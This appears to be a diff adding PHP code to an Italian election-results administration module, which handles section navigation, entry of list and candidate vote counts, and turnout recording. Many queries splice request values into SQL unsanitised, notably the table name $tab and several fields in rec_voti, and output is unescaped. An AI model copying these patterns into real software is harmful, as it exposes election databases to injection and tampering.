+			$res2= mysql_query("SELECT num_sez FROM ".$prefix."_ele_sezioni where id_sez='$id_sez'", $dbi);
+			list($numero_sez) = mysql_fetch_row($res2);
+			if ($sez_num==$numero_sez) {$bgsez="#FFFF00";}else{$bgsez="";}
+			echo "\n<td align=\"center\" width=\"5%\" bgcolor=\"$bgsez\"><b><a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_circ=$circ_id&amp;id_sede=$sede_id&amp;id_sez=$sez_id&amp;ops=$ops&amp;do=spoglio&amp;id_lista=$id_lista\">$sez_num</a></b></td>\n";
+			if (($i%8) ==0) echo "</tr>\n<tr bgcolor=\"$bgcolor1\">";
+		}
+		//}
+		echo "<td></td></tr></table>\n";
+		
+	echo"</td></tr></table>";
+	//}// fine tabella per numero sezioni
+	// inizio tabella centrale
+        echo "\n</td><td valign=\"top\" align=\"left\">";
+}
+///////////////////////////////////////////////////////////////////////////////////
+
+
+function voti($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops,$ov,$mv,$gv,$msv,$av,$id_lista) {
+   	global $aid,$bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $tipo_cons, $genere,$id_cons_gen,$prev_sez,$votog,$votol,$votoc,$conscirc;
+
+   	echo "<table border=\"0\" width=\"100%\"  align=\"left\"><tr>";
+    	echo "\n<td bgcolor=\"$bgcolor1\" align=\"left\">";
+	//echo "<h6>";
+	///////////////////////
+	// Circoscrizione : scelta
+	///////////////////////
+
+	$resoper=mysql_query("SELECT t1.id_sede,t2.id_circ FROM ".$prefix."_ele_operatori as t1,
+			 ".$prefix."_ele_sede as t2 
+			 where t1.id_cons='$id_cons' AND t1.id_sede=t2.id_sede and t1.aid='$aid'", $dbi);
+	list($id_sede2,$id_circ2) = mysql_fetch_row($resoper);
+	if ($id_sede2 and !($id_sede==$id_sede2)) {
+		$id_sede=$id_sede2;
+		$id_circ=$id_circ2;
+		$do="spoglio";
+		$res= mysql_query("SELECT id_sez FROM ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sede=$id_sede order by num_sez limit 0,1", $dbi);
+		list($id_sez) = mysql_fetch_row($res);
+	}
+	if  ($do == "circo") {
+		OpenTable();
+		echo "<tr><td><form name=\"voti\" action=\"admin.php\">"
+      		."<input type=\"hidden\" name=\"op\" value=\"voti\">"
+      		."<input type=\"hidden\" name=\"do\" value=\"sede\">"
+		// Circoscrizione: lista
+		//**************************************
+		.""._CIRCO.": "
+		."<select name=\"id_circ\">";
+		$res= mysql_query("SELECT id_circ,descrizione FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' order by num_circ", $dbi);
+        	while(list($id,$descr) = mysql_fetch_row($res)) {
+        		if ($descr!="Tutte"){
+        			if ($id == $id_circ) {
+		     			$sel = "selected";
+	        		} else {
+		     			$sel = "";
+	          		}
+			 	echo "<option value=\"$id\" $sel>$descr";
+      			}
+		}
+    		echo "</select>"
+		//***********************************
+      		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+      		."<input type=\"submit\" name=\"update\" value=\""._OK."\">"
+      		."</form></td></tr>";
+      		CloseTable();
+  	}
+
+	///////////////////////
+	// sede : scelta
+	///////////////////////
+
+
+	if ($do == "sede") {
+		OpenTable();
+ 		echo "\n<tr><td><form name=\"sede\" action=\"admin.php\">";
+		$res= mysql_query("SELECT  descrizione FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' AND id_circ='$id_circ' order by num_circ", $dbi);
+        	list( $descr_circ) = mysql_fetch_row($res);
+		echo "<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;do=circo\">"._CIRCO."</a> $descr_circ ->";
+      		echo "<input type=\"hidden\" name=\"op\" value=\"voti\">"
+      		."<input type=\"hidden\" name=\"do\" value=\"spoglio\">"
+
+	// Indirizzo: lista
+	//**************************************
+		.""._INDIRIZZO.": "
+		."<select name=\"id_sede\">";
+		$res= mysql_query("SELECT id_sede,indirizzo FROM ".$prefix."_ele_sede where id_cons='$id_cons' and id_circ='$id_circ' order by indirizzo", $dbi);
+//        	echo "$id_circ - $id_cons";
+		while(list($id,$indir) = mysql_fetch_row($res)) {
+        		if ($id == $id_sede) {
+		     		$sel = "selected";
+	          	} else {
+		     		$sel = "";
+	          	}
+	 		echo "<option value=\"$id\" $sel>$indir";
+      		}
+    		echo "</select>"
+	//*************************************
+      		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+      		."<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">"
+      		."<input type=\"submit\" name=\"update\" value=\""._OK."\">"
+      		."</form></td></tr>\n";
+		CloseTable();
+	}
+
+	///////////////////////
+	// sezione : scelta
+	///////////////////////
+	if ($do == "spoglio") {
+		echo "\n<form name=\"sezione\" action=\"admin.php\">";
+		OpenTable();
+		echo "<tr><td>";
+		$res= mysql_query("SELECT descrizione FROM ".$prefix."_ele_circoscrizione where id_cons='$id_cons' AND id_circ='$id_circ' order by num_circ", $dbi);
+        	list($descr_circ) = mysql_fetch_row($res);
+        	$res= mysql_query("SELECT indirizzo FROM ".$prefix."_ele_sede where id_cons='$id_cons' AND id_sede='$id_sede' order by indirizzo", $dbi);
+        	list($indir) = mysql_fetch_row($res);
+		echo "<input type=\"hidden\" name=\"pag_sez\" value=\"admin.php?op=voti&amp;do=spoglio&amp;ops=$ops&amp;id_cons_gen=$id_cons_gen&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;id_lista=$id_lista&amp;id_sez=\">";
+		echo "<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;do=circo\">"._CIRCO."</a> $descr_circ ->
+		<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_circ=$id_circ&amp;do=sede\">"._INDIRIZZO."</a> $indir ->
+			<input type=\"hidden\" name=\"op\" value=\"voti\">
+		<input type=\"hidden\" name=\"do\" value=\"spoglio\">"
+	// Sezioni:lista
+	//**************************************
+		."<b>"._SEZIONE."</b>: "
+		."<select name=\"id_sez\" onChange=\"top.location.href=this.form.pag_sez.value+this.form.id_sez.options[this.form.id_sez.selectedIndex].value;return false\">";
+		$res= mysql_query("SELECT id_sez,num_sez FROM ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sede='$id_sede' order by num_sez", $dbi);
+		$rif_sez=0;
+		$next_sez=0;
+		unset($prev_sez);
+		while(list($id,$num) = mysql_fetch_row($res)) {
+			if (!($id_sez>0)) {$id_sez=$id;}
+			if ($id == $id_sez) {
+				$sel = "selected";
+				$prev_sez=$rif_sez;
+			} else {
+				$sel = "";
+				if (isset($prev_sez) and ($next_sez==0)) { $next_sez=$id;}
+				$rif_sez=$id;
+			}
+			echo "<option value=\"$id\" $sel>$num";
+		}
+		echo "</select>"
+	//*************************************
+		."<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">\n"
+		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">\n"
+		."<input type=\"hidden\" name=\"id_sede\" value=\"$id_sede\">\n"
+		."<input type=\"hidden\" name=\"ops\" value=\"$ops\">\n"
+		."&nbsp;&nbsp;<input type=\"submit\" name=\"update\" value=\""._OK."\">\n";
+		if ($prev_sez) {
+			echo "&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;do=spoglio&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;id_sez=$prev_sez&amp;ops=$ops&amp;id_lista=$id_lista\">"._PREV."</a>&nbsp;&nbsp;&nbsp;&nbsp;\n";
+		}else {echo "      <span style=\"color: rgb(204, 204, 204);\">"._PREV."</span>      ";}
+		if ($next_sez) {
+			echo "<a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;do=spoglio&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;id_sez=$next_sez&amp;ops=$ops&amp;id_lista=$id_lista\">"._NEXT."</a>\n";
+		}else {echo "&nbsp;&nbsp;&nbsp;&nbsp;<span style=\"color: rgb(204, 204, 204);\">"._NEXT."</span>\n";}
+     		echo "\n</td></tr>";
+		CloseTable();
+
+      		echo "</form>\n";
+    		echo "\n</td></tr><tr><td>\n";
+//    		echo "\n</td></tr></table>\n";
+
+
+	//************************************
+	// Menu spoglio
+	//************************************
+     		$result = mysql_query("select id_cons,id_sez,id_sede,num_sez, maschi, femmine  from ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sez='$id_sez'", $dbi);
+     		list($id_cons2,$id_sez2,$id_sede,$num_sez, $maschi, $femmine) = mysql_fetch_row($result);
+
+		//$bgcolor1="#b0b0b0";
+   		echo "<table border=\"0\" width=\"60%\"  align=\"center\"><tr>";
+    		echo "\n<td bgcolor=\"$bgcolor1\" align=\"center\"><b><a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=$id_sez&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;do=spoglio&amp;ops=1\">"._AFFLUENZE."</a></b></td>\n";
+		if(!($genere==4) and !($votog)){ //if(!($genere==4) and !($tipo_cons==10 or $tipo_cons==11)){
+			echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b><a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=$id_sez&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;do=spoglio&amp;ops=4\">"._GRUPPO."</a></b></td>\n";
+		}
+		if(($genere>2 or $votog)){ //if(($genere>2 or $tipo_cons==10 or $tipo_cons==11)){
+			echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b><a href=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=$id_sez&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;do=spoglio&amp;ops=3\">"._PREFLISTA."</a></b></td>\n";
+		}
+    		echo "</tr></table>\n";
+//    		echo "\n</td></tr></table>\n";
+
+
+	///////////////////////////////////////////
+	// opzioni per le funzioni di immissione
+
+   		if ($ops == 1) {
+     			votanti($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops,$ov,$mv,$gv,$msv,$av);
+   		}
+	/*
+   		if ($ops == 2) {
+     			finale($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops);
+   		}
+	*/
+    		if ($ops == 3) {
+     			preferenze($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops);
+   		}
+    		if ($ops == 4) {
+     			preferenze_gruppi($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops);
+                  
+   		}
+
+	}
+		CloseTable();
+
+}
+////////////////////////////////////////////////////////////////////////////////
+//   FUNZIONI DI IMMISSIONE
+//   - preferenze (candidati consiglieri)
+//   - preferenze_gruppi
+//   - votanti
+////////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////
+// da qui va la sezione per le preferenze candidati consiglieri
+//////////////////////////////////////////////////////////////////////
+function preferenze($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops){
+ 	global $aid, $prefix, $dbi, $id_lista,$genere,$id_cons_gen,$id_gruppo,$sezi,$circo,$votog,$votol,$votoc,$conscirc;
+global $tipo_cons,$fascia,$limite;
+$bgcolor1="#7777ff";
+$bgcolor2=$_SESSION['bgcolor2'];
+    //controlla se sono stati inseriti i votanti
+if(!$votog and ($genere==3 or $genere==5))
+	$result = mysql_query("select validi_lista,nulli,bianchi,contestati_lista,voti_nulli_lista from ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+else
+	$result = mysql_query("select validi,nulli,bianchi,contestati,voti_nulli from ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+#e
+    list($validi,$nulli,$bianchi,$contestati,$votinulli) = mysql_fetch_row($result);
+#	if ($validi+$nulli+$bianchi) die("entra($genere==3) OR ($genere==5)) and !$id_lista and ($fascia>$limite)");
+		echo "<table border=\"0\" width=\"100%\" align=\"center\"><tr>";
+		$res_lis = mysql_query("SELECT id_lista, descrizione,num_lista from ".$prefix."_ele_lista where id_cons=$id_cons $circo order by num_lista",$dbi);
+		$num_liste = mysql_num_rows($res_lis);
+		$ele_lista='';
+		if (($genere==4 or $genere==5) and !$votoc) { //liste a piu' candidati
+			if($fascia<=$limite and !$id_lista) {
+				$result = mysql_query("SELECT id_lista from ".$prefix."_ele_lista where id_cons=$id_cons limit 0,1",$dbi);
+				list($id_lista)=mysql_fetch_row($result);
+			}
+			echo "<td>&nbsp;</td></tr><tr><td style=\"vertical-align: top;\">";
+			echo "<form name=\"liste\" action=\"admin.php\">";
+			echo "<input type=\"hidden\" name=\"pag\" value=\"admin.php?op=voti&amp;id_cons_gen=$id_cons_gen&amp;id_sez=$id_sez&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;do=spoglio&amp;ops=3&amp;id_lista=\">";
+			echo "<select name=\"id_lista\" size=\"".($num_liste+1)."\" onChange=\"vai_lista()\">";
+			if ($id_lista){
+				echo "<option value=\"0\">"._VOTI_LISTA;
+				$ele_lista=" and t1.id_lista='$id_lista' ";
+			}else{
+				echo "<option value=\"0\" selected>"._VOTI_LISTA;
+				$ele_lista=" group by t1.id_lista ";
+
+			}
+			while(list($id_rif,$descrizione,$num_lis) = mysql_fetch_row($res_lis)) {
+				$sel = ($id_rif == $id_lista) ? "selected" : "";
+				echo "<option value=\"$id_rif\" $sel>";
+				for ($j=strlen($num_lis);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+				echo $num_lis.") ".substr($descrizione,0,30);
+			}
+			echo "</select></form></td>\n";
+		}else {
+			$id_lista=0;
+		}
+		echo "<td style=\"vertical-align: top;\">";
+
+		if ((!$id_lista)){$tab="_ele_voti_lista";} else {$tab="_ele_voti_candidati";}
+###############prova
+if($genere==4 and !$id_lista)	
+		$result = mysql_query("SELECT sum(t1.voti),t2.validi, t2.solo_gruppo,t2.contestati,t2.voti_nulli from ".$prefix."_ele_sezioni as t2 left join ".$prefix.$tab." as t1 on (t1.id_sez=t2.id_sez) where t2.id_sez=$id_sez group by t1.id_sez",$dbi);
+else
+		$result = mysql_query("SELECT sum(t1.voti),t2.validi_lista, t2.solo_gruppo,t2.contestati,t2.voti_nulli from ".$prefix."_ele_sezioni as t2 left join ".$prefix.$tab." as t1 on (t1.id_sez=t2.id_sez) where t2.id_sez=$id_sez group by t1.id_sez",$dbi);
+		list( $voti_sez, $validi2, $sg,$cont2,$vnulli2) = mysql_fetch_row($result);
+		if(!$id_lista or $genere==3){	//controllo di congruenza
+			$res2 = mysql_query("SELECT max(voti_complessivi) FROM ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and id_sez='$id_sez'", $dbi);
+			list($tot) = mysql_fetch_row($res2);
+			if ($validi+$nulli+$bianchi+$contestati+$votinulli+$sg!=$tot and $validi+$sg>0){
+				echo "<table border=\"0\" width=\"50%\"  align=\"center\"><tr><td style=\"background-color: rgb(255, 0, 0); align=center\"><img src=\"modules/Elezioni/images/alert.gif\" align=\"middle\" alt=\"\"><br><b> "._ATT_VOTANTI." ".$tot." "._NO_TOT_VOTI." ".($validi+$nulli+$bianchi+$contestati+$votinulli+$sg)."</b><br></td></table>";
+			}
+
+			if((($voti_sez)!=$validi2) and ($voti_sez>0)){
+				echo "<table border=\"0\" width=\"50%\"  align=\"center\"><tr><td style=\"background-color: rgb(255, 0, 0); align=center\"><img src=\"modules/Elezioni/images/alert.gif\" align=\"middle\" alt=\"\"><br><b> "._ATT_VOTI." ".($voti_sez)." "._NO_VAL_VOTI." ".$validi2."</b><br></td></tr></table>";
+			}
+		}
+
+
+
+		echo "\n<form name=\"sezioni\" action=\"admin.php\">"
+		."<input type=\"hidden\" name=\"op\" value=\"rec_voti\">"
+		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+		."<input type=\"hidden\" name=\"id_sez\" value=\"$id_sez\">"
+		."<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">"
+		."<input type=\"hidden\" name=\"id_sede\" value=\"$id_sede\">"
+		."<input type=\"hidden\" name=\"tabella\" value=\"$tab\">"
+		."<input type=\"hidden\" name=\"id_lista\" value=\"$id_lista\">\n";
+		echo "<table border=\"0\" width=\"90%\"  align=\"center\">";
+		echo "<tr><td bgcolor=\"$bgcolor1\" align=\"left\" width=\"32\">";
+		if ($genere<4){
+//			echo "<td bgcolor=\"$bgcolor1\" align=\"center\" width=\"32\"><b>"._LISTA."</b></td>";
+		}
+		echo "<b>"._NUM."</b></td>";
+		if($id_lista){
+			echo "<td bgcolor=\"$bgcolor1\" align=\"left\"><b>"._CANDIDATO."</b></td>"
+			."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._VOTI."</b></td>";
+		}else{
+			echo "<td bgcolor=\"$bgcolor1\" align=\"left\"><b>"._DESCR."</b></td>"
+			."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._VOTI."</b></td>";
+		}
+		echo "</tr>\n";
+
+
+
+
+
+		$result = mysql_query("select t1.* from ".$prefix."_ele_candidati as t1 left join ".$prefix."_ele_lista as t2 on (t1.id_lista=t2.id_lista) WHERE t1.id_cons=$id_cons and t1.id_cons=t2.id_cons $ele_lista ORDER BY t2.num_lista,t1.num_cand", $dbi);
+		$max = mysql_num_rows($result);
+		$tot_pref=0;
+		$i=1;
+
+		if($id_lista) {
+			while(list($id_cand,$id_cons2,$id_lista2, $cognome, $nome, $note, $simbolo, $num_cand) = mysql_fetch_row($result)){
+				// dati lista
+				$result1 = mysql_query("select id_lista, descrizione,simbolo,num_lista from ".$prefix."_ele_lista where id_lista='$id_lista2'", $dbi);
+				list($id_lista3,$descr_lista,$simb_lista,$num_lista)=mysql_fetch_row($result1);
+			// dati gruppo
+				$result2 = mysql_query("select descrizione,simbolo from ".$prefix."_ele_gruppo where id_gruppo='$id_gruppo'", $dbi);
+				list($descr_gruppo,$simb_gruppo)=mysql_fetch_row($result2);
+				
+				echo "<tr bgcolor=\"$bgcolor2\">";
+				if ($genere<4){
+					echo "<td align=\"left\"><b><img src=\"images/lista/$simb_lista \" width=\"32\" heigth=\"32\" align=\"center\" ALT=\"$descr_lista\" > </b></td>";
+				}
+				echo "<td align=\"center\"><b> $num_cand </b></td>"
+				."<td align=\"left\"><b>$cognome $nome</b></td>";
+				$cond_sele="and id_cand=$id_cand";
+				$res = mysql_query("SELECT * FROM ".$prefix."$tab where id_cons='$id_cons' and id_sez='$id_sez' $cond_sele", $dbi);
+				$pro= mysql_fetch_array($res, 3);
+				echo "<td align=\"right\"><input  name=\"voti$i\" value=\"".$pro['voti']."\" size=\"7\" >";
+				echo "<input type=\"hidden\" name=\"id_cand$i\" value=\"$id_cand\"></td></tr>\n";
+				$i++;
+				$tot_pref+=$pro['voti'];
+			} 
+		}else {
+			$result1 = mysql_query("select t2.voti,t1.id_lista, descrizione,simbolo,num_lista 
+			from ".$prefix."_ele_lista as t1, ".$prefix."_ele_voti_lista as t2
+			where t1.id_cons='$id_cons' 
+			and t1.id_lista=t2.id_lista
+			and t2.id_sez=$id_sez
+			order by t1.num_lista", $dbi);
+			$num_lista=mysql_num_rows($result1);
+			if (!$num_lista){
+				$result1 = mysql_query("select '',t1.id_lista, descrizione,simbolo,num_lista
+				from ".$prefix."_ele_lista as t1 where t1.id_cons='$id_cons' $circo
+				order by t1.num_lista", $dbi);
+			}
+			while (list($pro['voti'],$id_lista3,$descr_lista,$simb_lista,$num_lista)=mysql_fetch_row($result1)){
+				echo "<tr bgcolor=\"$bgcolor2\">";
+//				if ($genere<4 or $votoc){
+//				}
+
+				echo "<td align=\"center\"><b> $num_lista </b></td>"
+				."<td align=\"left\"><b> $descr_lista</b></td>";
+				$cond_sele="and id_lista=$id_lista3";
+				echo "<td align=\"right\"><input  name=\"voti$i\" value=\"".$pro['voti']."\" size=\"7\" >";
+				echo "<input type=\"hidden\" name=\"id_lista$i\" value=\"$id_lista3\"></td></tr>\n";
+				$i++;
+				$tot_pref+=$pro['voti'];
+			}
+		}
+		echo "<tr bgcolor=\"$bgcolor1\"><td></td><td>"._TOTPREF."</td><td align=\"center\">$tot_pref</td></tr>";
+		// toglie ai candidati la visual... del solo_gruppo 
+		if(!$votog) {
+		   if (($genere==3 OR $genere==5) and (!$id_lista) and ($fascia>$limite)) { //gruppo e liste
+			echo "<tr bgcolor=\"$bgcolor2\"><td></td><td><b>"._SOLO_GRUPPO."</b></td><td align=\"center\"><input type=\"hidden\" name=\"id_sez\" value=\"$id_sez\"><input name=\"sg\" value=\"$sg\" size=\"5\"></td></tr>";
+			echo "<tr bgcolor=\"$bgcolor2\"><td></td><td><b>"._NULLI_LISTE."</b></td><td align=\"center\"><input  name=\"votinulli\" value=\"$votinulli\" size=\"5\">"
+	."</td></tr><tr bgcolor=\"$bgcolor2\"><td></td><td><b>"._CONTESTATI_LISTE."</b></td><td align=\"center\"><input  name=\"contestati\" value=\"$contestati\" size=\"5\"></td></tr>";
+			
+		   }elseif (($genere==3 OR $genere==5) and !$votoc and $fascia>$limite){ //}elseif ($tipo_cons!=10 and $tipo_cons!=11){
+			echo "<tr bgcolor=\"$bgcolor1\"><td></td><td><b>"._SOLO_GRUPPO."</b></td><td align=\"center\">$sg</td></tr>";
+		   }
+######modifica del 16-04-2009 per visualizzare i voti al solo sindaco nei comuni con meno di 15000 abitanti
+elseif(($genere==3 OR $genere==5) and ($id_lista) and ($fascia<=$limite)) {
+$resvg = mysql_query("SELECT id_gruppo FROM ".$prefix."_ele_lista where id_lista='$id_lista'", $dbi);
+list($id_gruppo) = mysql_fetch_row($resvg);
+$resvg = mysql_query("SELECT sum(voti) FROM ".$prefix."_ele_voti_gruppo where id_gruppo='$id_gruppo' and id_sez='$id_sez'", $dbi);
+        list($voti_sind) = mysql_fetch_row($resvg);
+
+echo "<tr bgcolor=\"$bgcolor1\"><td></td><td><b>"._SOLO_GRUPPO."</b></td><td align=\"center\">".($voti_sind - $tot_pref)."</td></tr>";
+}
+###### fine modifica del 16-04-2009
+
+	}
+		echo "<tr><td></td><td></td><td align=\"center\"><input type=\"submit\" name=\"update\" value=\" "._OK. "\"></td>";
+		echo "</tr></table></form></tr></table>";
+		echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n"
+		."document.sezioni.voti1.focus()\n"
+		."document.sezioni.voti1.select()\n"
+		."//-->\n";
+		echo "function vai_lista() {\n";
+		echo "window.document.location.href=document.liste.pag.value+document.liste.id_lista.value\n";
+		echo "}\n";
+		echo "</script>\n";
+#	}
+if (!((!$votog) and ($genere==3 OR $genere==5) and ($fascia>$limite)))
+	finale($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops);
+ }
+
+/////////////////////////////////////////////
+// registra le preferenze ai candidati
+/////////////////////////////////////////////
+
+function rec_voti() {
+	global $prefix, $dbi,$aid,$id_cons,$ops,$genere,$votog,$fileout,$id_comune,$limite;
+	$sqlcomu="select fascia from ".$prefix."_ele_comuni where id_comune='$id_comune'";
+	$res = mysql_query($sqlcomu);
+	list($fascia)=mysql_fetch_row($res);
+
+	if ($fileout) while (!$fp = fopen($fileout,"a"));
+	$username=$aid;
+	$log_data= date("Y/m/d");
+	$log_ora=getdate(time());
+	$orario=($log_ora['hours'].":".$log_ora['minutes'].":".$log_ora['seconds']);
+	$arg2 = func_get_args();
+	$arg = split(",",$arg2[0]);
+	$id_cons_gen=intval($arg[1]);
+	$id_sez = intval($arg[2]);
+	$id_circ = intval($arg[3]);
+	$id_sede = intval($arg[4]);
+	$tab = $arg[5];
+	$id_lista = intval($arg[6]);
+	if ($tab=="_ele_voti_candidati") {
+		$condizione="id_cand";
+	}else{
+		$condizione="id_lista";
+	}
+	if ((($genere==3) OR ($genere==5)) and !$id_lista and !$votog and ($fascia>$limite)) $y = (count($arg)-4);
+	else $y=count($arg);
+	for($i=7,$y--;$i< $y;$i++) {
+		$voti = intval($arg[$i++]);
+		$id_cand = intval($arg[$i]);
+		$result = mysql_query("select * from ".$prefix."$tab where id_cons='$id_cons' and id_sez='$id_sez' and $condizione='$id_cand'", $dbi);
+        	$ar=mysql_fetch_array($result);
+		if ($ar){
+			if ($ar['voti']!=$voti) {
+				mysql_query("update  ".$prefix."$tab set voti='$voti' where id_cons='$id_cons' and id_sez='$id_sez' and $condizione='$id_cand'", $dbi);
+				if ($fileout) fwrite($fp,"update  ".$prefix."$tab set voti='$voti' where id_cons='$id_cons' and id_sez='$id_sez' and $condizione='$id_cand';\n");
+	        	mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$log_data','$orario','voti=".$ar['voti']."','$condizione:$id_cand voti: $voti','$tab')", $dbi);
+			}
+		} else {
+			if ($voti)
+	    		mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$log_data','$orario',' ','$condizione:$id_cand voti: $voti','$tab')", $dbi);
+			mysql_query("insert into ".$prefix."$tab values ('$id_cons', '$id_cand','$id_sez','$voti')", $dbi);
+			if ($fileout) fwrite($fp,"insert into ".$prefix."$tab values ('$id_cons', '$id_cand','$id_sez','$voti');\n");
+		}
+	}
+//		foreach ($arg as $vval) echo $vval." - ";
+	// solo gruppo e preferenze alle liste
+	if(!$votog) {
+	   if ((($genere==3) OR ($genere==5)) and !$id_lista and ($fascia>$limite)) {
+			$result = mysql_query("update ".$prefix."_ele_sezioni set solo_gruppo='".$arg[$i]."' where id_sez='$id_sez'",$dbi);
+			if ($fileout) fwrite($fp,"update ".$prefix."_ele_sezioni set solo_gruppo='".$arg[$i]."' where id_sez='$id_sez';\n");
+			if ($condizione=="id_lista"){
+				$result = mysql_query("select * from ".$prefix."_ele_sezioni where id_sez='$id_sez'", $dbi);
+        		$ar=mysql_fetch_array($result);
+				++$i;
+				mysql_query("update  ".$prefix."_ele_sezioni set voti_nulli_lista='".$arg[$i++]."', contestati_lista='".$arg[$i++]."' where id_sez='$id_sez'", $dbi);
+				if ($fileout) fwrite($fp,"update  ".$prefix."_ele_sezioni set voti_nulli_lista='".$arg[$i++]."', contestati_lista='".$arg[$i++]."' where id_sez='$id_sez';\n");
+#				if ($ar['validi'] and !$ar['validi_lista']){
+				if ($ar['validi']){
+#					$result = mysql_query("select sum(voti) from ".$prefix."_ele_voti_lista where id_sez='$id_sez'", $dbi);
+#					list($val)=mysql_fetch_row($result);
+#					mysql_query("update  ".$prefix."_ele_sezioni set validi_lista='$val' where id_sez='$id_sez'", $dbi);
+					mysql_query("update  ".$prefix."_ele_sezioni set validi_lista=(`validi`+`contestati`+`voti_nulli`-`solo_gruppo`-`voti_nulli_lista`-`contestati_lista`) where id_sez='$id_sez'", $dbi);
+					if ($fileout) fwrite($fp,"update  ".$prefix."_ele_sezioni set validi_lista=(`validi`+`contestati`+`voti_nulli`-`solo_gruppo`-`voti_nulli_lista`-`contestati_lista`) where id_sez='$id_sez';\n");
+				}
+			}
+	   }	
+	}
+	
+//	$ops = $arg[$argc];
+	if ($fileout)fclose($fp);
+	Header("Location: admin.php?op=voti&id_cons_gen=$id_cons_gen&id_circ=$id_circ&id_sede=$id_sede&id_sez=$id_sez&do=spoglio&ops=3&id_lista=$id_lista");
+}
+
+
+////////////////////////////////////////////
+// da qua va la sezione per i votanti
+///////////////////////////////////////////
+
+function votanti($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops,$ov,$mv,$gv,$msv,$av){
+//function votanti($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops,$ov,$mv,$gv,$msv,$av){
+ global $aid, $prefix, $dbi,$tipo_cons,$genere,$id_cons_gen;
+$bgcolor1=$_SESSION['bgcolor2'];
+OpenTable();
+echo "<tr><td>&nbsp;</td></tr>";
+$res = mysql_query("SELECT orario,data FROM ".$prefix."_ele_rilaff where id_cons_gen=$id_cons_gen order by data,orario ", $dbi);
+$num = mysql_num_rows($res);
+$ressez = mysql_query("SELECT maschi,femmine FROM ".$prefix."_ele_sezioni where id_sez=$id_sez", $dbi);
+list($maschi,$femmine)=mysql_fetch_row($ressez);
+$y=0;
+while (list($ora,$giorno)= mysql_fetch_row($res)){
+	$y++;
+	echo "\n<tr><td>";
+	echo "<form name=\"votanti$y\" action=\"admin.php\">";
+ 	echo "<table border=\"0\" width=\"100%\" align=\"center\"><tr>";
+	if ($genere==0){ //e' un referendum
+		echo "<td bgcolor=\"$bgcolor1\" align=\"center\" width=\"32\"><b>"._NUM."</b></td>";
+	}
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\" width=\"32\"><b>"._ORA."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"width=\"32\"><b>"._DATA."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._VOTIU."</b></td>";
+	echo "<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._VOTID."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._VOTIT."</b>"; 
+	if ($genere==0){ 
+		$res2 = mysql_query("SELECT * FROM ".$prefix."_ele_gruppo where id_cons='$id_cons'  ", $dbi);
+		$max = mysql_num_rows($res2);
+	}else{ $max=1;}
+	echo "<input type=\"hidden\" name=\"op\" value=\"rec_add_votanti\">";
+	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+	."<input type=\"hidden\" name=\"id_sez\" value=\"$id_sez\">"
+	."<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">"
+	."<input type=\"hidden\" name=\"id_sede\" value=\"$id_sede\">";
+	echo "</td>"; //la riga viene chiusa nel ciclo for    
+	for ($i=1;$i<=$max;$i++){
+		$query="SELECT * FROM ".$prefix."_ele_voti_parziale as t1 left join ".$prefix."_ele_gruppo as t2 
